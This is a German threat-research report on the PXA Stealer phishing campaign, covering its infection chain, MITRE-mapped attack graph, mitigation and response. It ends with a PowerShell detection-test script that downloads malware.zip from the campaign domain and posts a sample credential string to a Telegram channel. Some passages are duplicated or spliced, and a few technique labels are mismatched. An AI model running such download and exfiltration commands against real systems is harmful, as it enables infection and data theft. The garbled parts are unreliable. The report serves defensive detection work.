Von Phishing bis Exfiltration: Ein detaillierter Einblick in den PXA Stealer

Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime

Folgen

Von Phishing bis Exfiltration: Ein detaillierter Einblick in den PXA Stealer

Detection stack

AIDR
Alert
ETL
Query

Bedrohungsbericht
Angriffsablauf
Erkennungen
Simulationen

Zusammenfassung

Der Bericht beschreibt einen starken Anstieg der PXA Stealer-Aktivitäten, die auf Finanzorganisationen Anfang 2026 abzielen. Bedrohungsakteure verbreiten bösartige ZIP-Archive über Phishing-E-Mails und stützen sich auf eine mehrstufige Infektionskette, die legitime Systemtools und einen umbenannten Python-Interpreter missbraucht. Sobald aktiv, stiehlt die Malware Browser-Anmeldedaten, gespeicherte Passwörter und Krypto-Wallet-Daten und exfiltriert diese gesammelten Informationen über Telegram. Die Kampagne hebt hervor, wie sich die Betreiber nach früheren Störungen anderer Infostealer-Ökosysteme angepasst haben.

Untersuchung

Forscher bei CyberProof rekonstruierten die vollständige Angriffskette, die mit einer Phishing-E-Mail begann, die ein bösartiges Pumaproject.zip-Archiv lieferte, und mit der Exfiltration über Telegram endete. Ihre Analyse identifizierte den Missbrauch von Certutil zum Entschlüsseln, eine als Bild getarnte WinRAR-Kopie zur Entpackung, einen versteckten Dots-Ordner und einen umbenannten svchost.exe Python-Interpreter, der verwendet wurde, um ein verschleiertes Skript mit einer Bot-ID zu starten. Die Persistenz wird durch einen Registrierungseintrag aufrechterhalten. picture.png for extraction, a hidden Dots folder, and a renamed svchost.exe Python interpreter used to launch an obfuscated script tied to a bot identifier. Persistence is maintained through a registry value entry.

Minderung

Verteidiger sollten verdächtige Archivanhänge identifizieren, die Skriptausführung und bekannte LOLBins von unerwarteten Pfaden überwachen und ausgehenden Datenverkehr zu Telegram sowie ungewöhnliche TLDs wie .shop and .xyz. Sicherheits-Teams sollten auch E-Mail-Gateways härten und strenge Ausführungskontrollen für Office-Dokumente und skriptbasierte Inhalte anwenden.

Reaktion

Wenn der PXA Stealer entdeckt wird, isolieren Sie den betroffenen Host, erfassen Sie flüchtige Beweise und suchen Sie nach den referenzierten Dateiartefakten und Registrierungsänderungen. Entfernen Sie bösartige Dateien, beenden Sie betroffene Prozesse und setzen Sie alle kompromittierten Anmeldeinformationen zurück. Infolgedessen sollten Teams eine breitere Bedrohungssuche nach übereinstimmenden Indikatoren in der Umgebung durchführen und relevante Stakeholder benachrichtigen.

<div class="wp-block-socprime-category-attack-flow attack-flow-class" data-title="Attack Flow" data-attack-flow="graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Node definitions action_phishing["Action – T1566.001 Phishing: Spearphishing Attachment Description: Email with malicious ZIP (Pumaproject.zip) containing Document.docx.exe."] class action_phishing action file_zip["File – Pumaproject.zip Contains: Document.docx.exe"] class file_zip file action_user_exec["Action – T1204.002 User Execution: Malicious File Description: Victim opens the attached executable."] class action_user_exec action process_malicious_exe["Process – Document.docx.exe"] class process_malicious_exe process action_execution_hijack["Action – T1574 Hijack Execution Flow Description: Launches inter.cmd and uses certutil to decode payload from Shodan.pdf."] class action_execution_hijack action process_inter_cmd["Process – inter.cmd"] class process_inter_cmd process tool_certutil["Tool – certutil.exe Purpose: Decode base64 content"] class tool_certutil tool file_shodan_pdf["File – Shodan.pdf Contains: Base64 encoded payload"] class file_shodan_pdf file action_defense_embedded["Action – T1027.009 Embedded Payloads Description: Payload hidden inside PDF file."] class action_defense_embedded action action_decode["Action – T1140 Deobfuscate/Decode Files or Information Description: certutil decodes the payload."] class action_decode action action_hidden_dir["Action – T1564.001 Hidden Files and Directories Description: Malware creates hidden folder "Dots" for intermediate files."] class action_hidden_dir action file_hidden_dir["File – Dots (hidden directory)"] class file_hidden_dir file action_relocate["Action – T1070.010 Indicator Removal: Relocate Malware Description: Moves malicious files into hidden "Dots" directory."] class action_relocate action action_compression["Action – T1027.015 Compression Description: WinRAR disguised as picture.png extracts password‑protected archive (password shodan2201)."] class action_compression action tool_winar["Tool – WinRAR (renamed picture.png)"] class tool_winar tool file_archive["File – Password protected archive (shodan2201)"] class file_archive file action_rc_script["Action – T1037.004 RC Scripts Description: Portable Python dropped, renamed to svchost.exe and executed with $BOT_ID argument."] class action_rc_script action process_svc_host["Process – svchost.exe (malicious Python interpreter)"] class process_svc_host process action_active_setup["Action – T1547.014 Active Setup Description: Registry entry added to run svchost.exe at startup."] class action_active_setup action action_com_hijack["Action – T1546.015 COM Hijacking Description: COM hijacking registry entry created for automatic execution."] class action_com_hijack action action_cred_browser["Action – T1555.003 Credentials from Web Browsers Description: Injects into browsers to steal passwords, cookies, crypto wallet data."] class action_cred_browser action action_cred_cookies["Action – T1539 Steal Web Session Cookie Description: Extracts web session cookies for reuse."] class action_cred_cookies action action_keylogging["Action – T1056.001 Input Capture: Keylogging Description: Captures keystrokes from the user."] class action_keylogging action action_exfil_telegram["Action – T1567 Exfiltration Over Web Service Description: Sends collected data to attacker‑controlled Telegram channels."] class action_exfil_telegram exfil action_exfil_c2["Action – T1041 Exfiltration Over C2 Channel

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Node definitions action_phishing[„Action – T1566.001 Phishing: Spearphishing Attachment Description: Email with malicious ZIP (Pumaproject.zip) containing Document.docx.exe.“] class action_phishing action file_zip[„File – Pumaproject.zip Contains: Document.docx.exe“] class file_zip file action_user_exec[„Action – T1204.002 User Execution: Malicious File Description: Victim opens the attached executable.“] class action_user_exec action process_malicious_exe[„Process – Document.docx.exe“] class process_malicious_exe process action_execution_hijack[„Action – T1574 Hijack Execution Flow Description: Launches inter.cmd and uses certutil to decode payload from Shodan.pdf.“] class action_execution_hijack action process_inter_cmd[„Process – inter.cmd“] class process_inter_cmd process tool_certutil[„Tool – certutil.exe Purpose: Decode base64 content“] class tool_certutil tool file_shodan_pdf[„File – Shodan.pdf Contains: Base64 encoded payload“] class file_shodan_pdf file action_defense_embedded[„Action – T1027.009 Embedded Payloads Description: Payload hidden inside PDF file.“] class action_defense_embedded action action_decode[„Action – T1140 Deobfuscate/Decode Files or Information Description: certutil decodes the payload.“] class action_decode action action_hidden_dir[„Action – T1564.001 Hidden Files and Directories Description: Malware creates hidden folder „Dots“ for intermediate files.“] class action_hidden_dir action file_hidden_dir[„File – Dots (hidden directory)“] class file_hidden_dir file action_relocate[„Action – T1070.010 Indicator Removal: Relocate Malware Description: Moves malicious files into hidden „Dots“ directory.“] class action_relocate action action_compression[„Action – T1027.015 Compression Description: WinRAR disguised as picture.png extracts password‑protected archive (password shodan2201).“] class action_compression action tool_winar[„Tool – WinRAR (renamed picture.png)“] class tool_winar tool file_archive[„File – Password protected archive (shodan2201)“] class file_archive file action_rc_script[„Action – T1037.004 RC Scripts Description: Portable Python dropped, renamed to svchost.exe and executed with $BOT_ID argument.“] class action_rc_script action process_svc_host[„Process – svchost.exe (malicious Python interpreter)“] class process_svc_host process action_active_setup[„Action – T1547.014 Active Setup Description: Registry entry added to run svchost.exe at startup.“] class action_active_setup action action_com_hijack[„Action – T1546.015 COM Hijacking Description: COM hijacking registry entry created for automatic execution.“] class action_com_hijack action action_cred_browser[„Action – T1555.003 Credentials from Web Browsers Description: Injects into browsers to steal passwords, cookies, crypto wallet data.“] class action_cred_browser action action_cred_cookies[„Action – T1539 Steal Web Session Cookie Description: Extracts web session cookies for reuse.“] class action_cred_cookies action action_keylogging[„Action – T1056.001 Input Capture: Keylogging Description: Captures keystrokes from the user.“] class action_keylogging action action_exfil_telegram[„Action – T1567 Exfiltration Over Web Service Description: Sends collected data to attacker‑controlled Telegram channels.“] class action_exfil_telegram exfil action_exfil_c2[„Action – T1041 Exfiltration Over C2 Channel Description: Uses Telegram as C2 and exfiltration channel.“] class action_exfil_c2 exfil %% Connections action_phishing –>|delivers| file_zip file_zip –>|executes| action_user_exec action_user_exec –>|runs| process_malicious_exe process_malicious_exe –>|launches| action_execution_hijack action_execution_hijack –>|spawns| process_inter_cmd process_inter_cmd –>|uses| tool_certutil tool_certutil –>|decodes| file_shodan_pdf file_shodan_pdf –>|contains| action_defense_embedded action_defense_embedded –>|triggers| action_decode action_decode –>|creates| action_hidden_dir action_hidden_dir –>|creates| file_hidden_dir action_hidden_dir –>|stores| action_relocate action_relocate –>|moves files to| file_hidden_dir action_relocate –>|leads to| action_compression action_compression –>|uses| tool_winar tool_winar –>|extracts| file_archive file_archive –>|provides| action_rc_script action_rc_script –>|executes| process_svc_host process_svc_host –>|establishes| action_active_setup process_svc_host –>|establishes| action_com_hijack process_svc_host –>|enables| action_cred_browser process_svc_host –>|enables| action_cred_cookies process_svc_host –>|enables| action_keylogging action_keylogging –>|feeds data to| action_exfil_telegram action_cred_browser –>|feeds data to| action_exfil_telegram action_cred_cookies –>|feeds data to| action_exfil_telegram action_exfil_telegram –>|uses channel| action_exfil_c2

Angriffsablauf

Angriffsablauf & Befehle:
Der Bedrohungsakteur setzt den PXA Stealer auf einem kompromittierten Windows-Host ein. Nachdem der Benutzer unwissentlich das anfängliche bösartige Binary ausführt (T1204.002), startet der Stealer ein PowerShell-Snippet, das:
1. Ein bösartiges ZIP herunterlädt von der fest codierten Domain downloadtheproject.xyz (T1202 – indirekte Befehlsausführung).
2. Die gesammelten Daten exfiltriert durch Posten einer Nachricht auf einem Telegram-Kanal via t.me (T1559.002 – Phishing-Link).
3. Optional eine bösartige COM-Komponente lädt, um Persistenz zu erreichen (T1127.002).
Beide ausgehenden HTTP GET-Anfragen erzeugen die DestinationDomain Felder, die die Sigma-Regel überwacht und dadurch einen Alarm auslöst.

Regressionstestskript:

# PXA Stealer-Simulation – löst die Erkennungsregel aus
$tmpZip = "$env:TEMPpayload.zip"
$tmpMsg = "$env:TEMPsteal.txt"

# 1. Herunterladen des bösartigen ZIP von der ersten bösartigen Domain
Invoke-WebRequest -Uri "https://downloadtheproject.xyz/malware.zip" -OutFile $tmpZip -UseBasicParsing

# 2. Simulieren der Datenexfiltration über den Telegram-Link
$payload = "User credentials: admin / Pass123!"
Set-Content -Path $tmpMsg -Value $payload -Encoding ASCII
Invoke-WebRequest -Uri "https://t.me/stealchannel?text=$( [uri]::EscapeDataString($payload) )" -UseBasicParsing

# 3. (Optional) Laden eines Dummy-COM-Objekts zur Emulation von T1127.002
try {
    $com = New-Object -ComObject "Shell.Application"
    $com.ShellExecute($tmpZip, "", "", "open", 0) | Out-Null
} catch {
    # Ignore errors – this is only for telemetry
}

Säuberungsbefehle:

# Entfernen von Artefakten, die durch die Simulation erstellt wurden
Remove-Item -Path $tmpZip -Force -ErrorAction SilentlyContinue
Remove-Item -Path $tmpMsg -Force -ErrorAction SilentlyContinue

Treten Sie der Detection as Code-Plattform von SOC Prime bei um die Sichtbarkeit der für Ihr Unternehmen relevantesten Bedrohungen zu verbessern. Um Ihnen den Einstieg zu erleichtern und unmittelbaren Mehrwert zu erzielen, buchen Sie jetzt ein Treffen mit den Experten von SOC Prime.

Kostenlos beitreten